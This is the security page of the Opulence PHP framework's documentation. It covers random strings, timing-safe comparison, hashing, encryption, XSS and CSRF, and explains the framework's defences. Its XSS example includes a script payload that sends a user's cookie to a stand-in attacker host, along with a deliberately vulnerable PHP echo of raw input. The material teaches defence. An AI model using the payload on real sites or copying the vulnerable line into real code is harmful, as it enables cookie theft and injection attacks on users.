Security
Table of Contents
- Introduction
- Generating Random Strings
- Comparing Strings
- Hashing
- Encryption
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF/XSRF)
Introduction
Building a secure application is extremely difficult. Protecting your users from cross-site scripting, cross-site request forgeries, and session hijacking requires a lot of tools. Fortunately, you don't have to be a security expert to take advantage of all the protection Opulence delivers out of the box.
Generating Random Strings
What is It?
Random strings are commonly used to ensure security for things like session Ids and authentication tokens. If your random strings are not so random, then your entire application can be compromised.
How to Use It
Learn how to generate random strings in Opulence.
Comparing Strings
What is It?
Comparing sensitive strings, like hashes and tokens, using PHP's ==
operator can give away information about the string you're comparing against. For example, comparing "aaa" to "bbb" will return false
faster than "aaa" and "aab" because PHP's comparison operator returns false at the first differing character. Using
a sensitive timer and many iterations, a hacker could figure out any secured hash that's being compared with user input.
How to Use It
Learn how to securely compare strings in Opulence.
Hashing
What is It?
Hashing involves performing a one-way mapping of input to a hashed value, which is suitable for storing sensitive data.
How to Use It
Learn how to hash data in Opulence.
Encryption
What is It?
Encryption is the process of encoding data with a special key so that only authorized parties may read it.
How to Use It
Learn how to encrypt data in Opulence.
Cross-Site Scripting (XSS)
What is It?
Cross-site scripting involves the injection of client-side scripts into your pages. A common vulnerability is displaying unsanitized user input to your page:
Hello, <?php echo $_GET["name"]; ?>
A malicious user could send an unsuspecting user a hyperlink with a XSS injection in the URL: http://your-site.com/?name=<script>(new Image).src="http://attacker-site.com/" + $.cookie("user-password")</script>
. Clicking on the link would take the user to your page, which would display:
Hello, <script>(new Image).src="http://attacker-site.com/" + $.cookie("user-password")</script>
Loading this page would send the user's "user-password" cookie to the attacker's server.
How to Defend Against It
To solve this problem you must sanitize any user-input before displaying it on a page. Opulence's template system gives you the tools to prevent cross-site scripting.
Cross-Site Request Forgery (CSRF/XSRF)
What is It?
Cross-site request forgery is an attack where unauthorized commands are sent to a trusted site through an authenticated user. For example, a malicious user might send a normal user Bob the following hyperlink: http://your-site.com/transferMoney?amount=1000&to=attacker-account-Id
. If Bob was logged into your site, clicking this link would attempt to transfer money to the attacker's account without Bob's authorization.
How to Defend Against It
To prevent this from happening, a unique token should be embedded in every form and with every session. When the form is submitted, the form token and session token should be compared, and if they are not equal, the submission should be rejected. In the example case above, the form token would not be set. With CSRF protection in place, the form and session tokens would not match, and the form submission would be rejected.
Opulence automatically generates and compares the tokens using middleware. To include the token in your form, use the {{! csrfInput() !}}
view function in your view. This will create a hidden input with your token, which will validate against the session token. You can also use the {{ csrfToken() }}
template function to print the token in elements like meta tags:
<meta name='csrf-token' content='{{ csrfToken() }}' >
To give you CSRF protection in JavaScript, Opulence sets the XSRF-TOKEN
cookie, which some frameworks use to automatically set the X-XSRF-TOKEN
HTTP header in requests.